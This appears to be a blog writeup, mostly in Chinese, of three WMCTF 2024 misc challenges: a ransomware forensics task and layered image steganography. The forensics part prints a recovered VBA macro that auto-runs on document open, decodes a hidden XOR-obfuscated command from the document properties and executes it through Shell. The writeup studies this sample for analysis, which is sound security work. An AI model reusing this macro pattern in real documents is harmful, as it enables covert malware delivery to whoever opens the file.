Logo
Overview

2024 WMCTF Writeup

September 9, 2024

做了几个 misc…写一下吧

Party Time

一个取证,给了一个内存镜像, 一个硬盘。

打开硬盘看到桌面上有一个 docm,一个 flag.rar,以及 readme.txt。看了下是勒索病毒的操作。

docm 解压得到 vbsProject.bin,反解得到逻辑:

Private Sub Document_Open()
    Dim p As DocumentProperty
    Dim decoded As String
    Dim byteArray() As Byte
    For Each p In ActiveDocument.BuiltInDocumentProperties
        If p.Name = "Comments" Then
            byteArray = test(p.Value)
            decoded = ""
            For i = LBound(byteArray) To UBound(byteArray)
                decoded = decoded & Chr(byteArray(i) Xor &H64)
            Next i
            Shell (decoded)
            End If
    Next
End Sub

Function test(hexString As String) As Byte()
    Dim lenHex As Integer
    lenHex = Len(hexString)
    Dim byteArray() As Byte
    ReDim byteArray((lenHex \ 2) - 1)
    Dim i As Integer
    Dim byteValue As Integer

    For i = 0 To lenHex - 1 Step 2
        byteValue = Val("&H" & Mid(hexString, i + 1, 2))
        byteArray(i \ 2) = byteValue
    Next i

    test = byteArray
End Function

把附加内容丢进 cyberchef 可以得到运行了如下文件。

找到病毒本体,丢进 IDA 里观察,可知它将 RSA 的 key 存储于HKU/$Username/SOFTWARE/nothing 中。memprocfs 挂载内存拿到 key。后面是一个 RSA-OAEP 的加密。只知道cipher 没有用,还需要一个 label 标签。

动态调试一下发现 label 是 deviceKey。即sha256(hostname) 。然后就能解密 flag.rar了。

from Crypto.Cipher import PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Hash import SHA256
from Crypto.Util.number import *

open("1.rar","wb").write(PKCS1_OAEP.new(RSA.importKey(
    open("PrivateKey").read()), 
    hashAlgo=SHA256, 
    label=SHA256.new(b"DESKTOP-8KRF7H0").digest()
    ).decrypt(
        open("flag.rar","rb").read()
    )
)

steg_allinone

套娃。。好烦人

直接丢到 cyberchef找 LSB 可以得到第一段。

img = np.array(Image.open("flag.png"))
r = img[:,:,0]
g = img[:,:,1]
b = img[:,:,2]
ress = ""
h,w = r.shape
for i in range(h):
    for j in range(w):
        ress += str(r[i,j]%2)

print(binary_string_to_bytes(ress).replace(b"\x00",b""))
You get the first part of flag:WMCTF{f1277ad;and you can try the second part by DWT+QIM.Here are some of the more important parameters.delta=8;the second flag's length = 253;block size = 8

第二段

def qim_decode(data,delta):
    block_quant = 0
    quantized_lvl = np.mean(data) % delta
    if quantized_lvl < delta/4 or quantized_lvl > 3*delta/4:
        block_quant = 0
    else:
        block_quant = 1
    return block_quant
h,w = r.shape
nbx = w//8
nby = h//8
ress = ""
for y in range(nby):
    for x in range(nbx):
        block = g[y*8:(y+1)*8,x*8:(x+1)*8]
        cA,(cH,cV,cD) = dwt2(block,'haar')

        data = cA

        ress += str(qim_decode(data,8))

print(binary_string_to_bytes(ress)[:253])
You get the second part of flag:a-b75a-4ec2-b9e;and you can try the third part by DCT+SVD.Here are some of the more important parameters.alpha=0.1;block size = 8;the third flag's length = 83.And there is an original image of this blue channel somewhere.

第三段


import struct

# 定义 PNG 文件的签名(前 8 个字节)
PNG_SIGNATURE = b'\x89PNG\r\n\x1a\n'

def read_png_chunks(file_path):
    with open(file_path, 'rb') as f:
        # 读取并验证 PNG 文件签名
        signature = f.read(8)
        if signature != PNG_SIGNATURE:
            raise ValueError("Not a valid PNG file")

        chunks = []
        
        while True:
            # 读取 chunk 长度 (4 bytes)
            length_data = f.read(4)
            if len(length_data) < 4:
                break
            length = struct.unpack('>I', length_data)[0]

            # 读取 chunk 类型 (4 bytes)
            chunk_type = f.read(4).decode('ascii')

            # 读取 chunk 数据 (长度由 length 指定)
            chunk_data = f.read(length)

            # 读取 chunk 的 CRC 校验码 (4 bytes)
            crc = f.read(4)

            # 将 chunk 信息存储到列表中
            chunks.append({
                'length': length,
                'type': chunk_type,
                'data': chunk_data,
                'crc': crc
            })

            # 如果遇到 IEND chunk,文件结束
            if chunk_type == 'IEND':
                break

        return chunks

chunks = read_png_chunks('flag.png')
import zlib
import base64
b = b
b_ori = base64.b64decode(zlib.decompress(chunks[-2]["data"]))
open("b_chal.png","wb").write(b_ori)
b_ori = np.array(Image.open("b_chal.png"))
h,w = b.shape
blk = 8
h,w = h//blk,w//blk
ress = ""
for i in range(h):
    for j in range(w):
        block = np.float32(b[i*blk:(i+1)*blk,j*blk:(j+1)*blk])
        block_ori = np.float32(b_ori[i*blk:(i+1)*blk,j*blk:(j+1)*blk])
        u,dct_block,v = svd(dct(block))
        u,dct_block_ori,v = svd(dct(block_ori))
        if dct_block[0] != dct_block_ori[0]:
            ress += '0'
        else:
            ress += '1'

print(binary_string_to_bytes(ress)[:83])
You get the third part of flag:0-0eb11ceead9c};You are the master of steganography!

comment

留言 / 评论

如果暂时没有看到评论,请点击下方按钮重新加载。